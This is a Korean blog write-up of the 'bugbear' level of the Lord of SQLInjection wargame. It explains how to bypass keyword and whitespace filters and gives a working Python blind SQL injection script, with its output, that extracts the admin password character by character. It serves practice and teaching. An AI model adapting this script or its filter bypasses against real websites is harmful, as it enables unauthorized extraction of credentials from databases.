ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (627)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (14)
      • dreamhack (13)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

[Lord of SQLInjection] bugbear write-up
write-up(web)/LOS

[Lord of SQLInjection] bugbear write-up

2022. 7. 31. 01:06

문제의 소스 코드입니다.

바로 이전 문제인 darkknight 문제의 응용입니다.

and, or, 공백, like를 필터링하고 있습니다.

이전 문제에서 작성했던 파이썬 코드에서 필터링되는 문자를 우회해야 합니다.

or => ||

and => %26%26

추가로 or을 필터링하므로 ord 함수를 사용할 수 없어서 char 함수를 사용해 문자 간 비교 연산을 해줍니다.

import requests

host = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookie = {'PHPSESSID' : ''}

pw_len = 0
while True:
    pw_len += 1
    print(pw_len,end='')
    query = f'?no=0||%09id%09in%09("admin")%09%26%26%09length(pw)<{pw_len}'
    re = requests.get(f"{host}{query}",cookies=cookie)
    if 'Hello admin' in re.text:
        pw_len -= 1
        print(f' length: {pw_len}')
        break
    
pw = ''
for i in range(pw_len):
    for k in range(48,128):
        print(chr(k),end='')
        query = f'?no=0||%09id%09in%09("admin")%09%26%26%09mid(pw,{i+1},1)%09<%09char({k})'
        re = requests.get(f"{host}{query}",cookies=cookie)
        if 'Hello admin' in re.text:
            k -= 1
            print(f' [{i+1}] {chr(k)}')
            pw += chr(k)
            break
        
print(f'[pw] {pw}')

 

mid(pw,{i},1)<char({k})을 보면

pw에서 한 문자씩 가져와서 k를 ascii문자로 변환해 비교 연산 해줍니다.

같아지는 순간 Hello admin이 나오지 않을 것이고 해당 문자가 pw의 값입니다.

 

123456789 length: 8
0123456 [1] 5
0123 [2] 2
0123456789:;<=>?@ABCDE [3] D
0123456789:;<=>?@ABCD [4] C
01234 [5] 3
0123456789: [6] 9
0123456789: [7] 9
012 [8] 1
[pw] 52DC3991

실행 결과 pw 값을 알아냈습니다.

 

해당 값을 url로 던져주면

문제가 풀립니다.

 

이해가 잘 안되신다면 이전 문제 라이트업을 참고하세요!

https://ssongkit.tistory.com/83

 

[Lord of SQLInjection] darkknight write-up

문제의 소스 코드입니다. admin의 pw 값을 전송하면 문제가 해결됩니다. pw에 대한 필터링을 보면 ' 문자는 사용할 수 없으므로 pw에 임의의 값을 넣을 수 없습니다. 따라서 no에 sql 쿼리 문을 넣어주

ssongkit.tistory.com

 

'write-up(web) > LOS' 카테고리의 다른 글

[Lord of SQLInjection] assassin write-up  (0) 2022.07.31
[Lord of SQLInjection] giant write-up  (0) 2022.07.31
[Lord of SQLInjection] darkknight write-up  (0) 2022.07.31
[Lord of SQLInjection] golem write-up  (0) 2022.07.30
[Lord of SQLInjection] skeleton write-up  (0) 2022.07.30
    'write-up(web)/LOS' 카테고리의 다른 글
    • [Lord of SQLInjection] assassin write-up
    • [Lord of SQLInjection] giant write-up
    • [Lord of SQLInjection] darkknight write-up
    • [Lord of SQLInjection] golem write-up
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바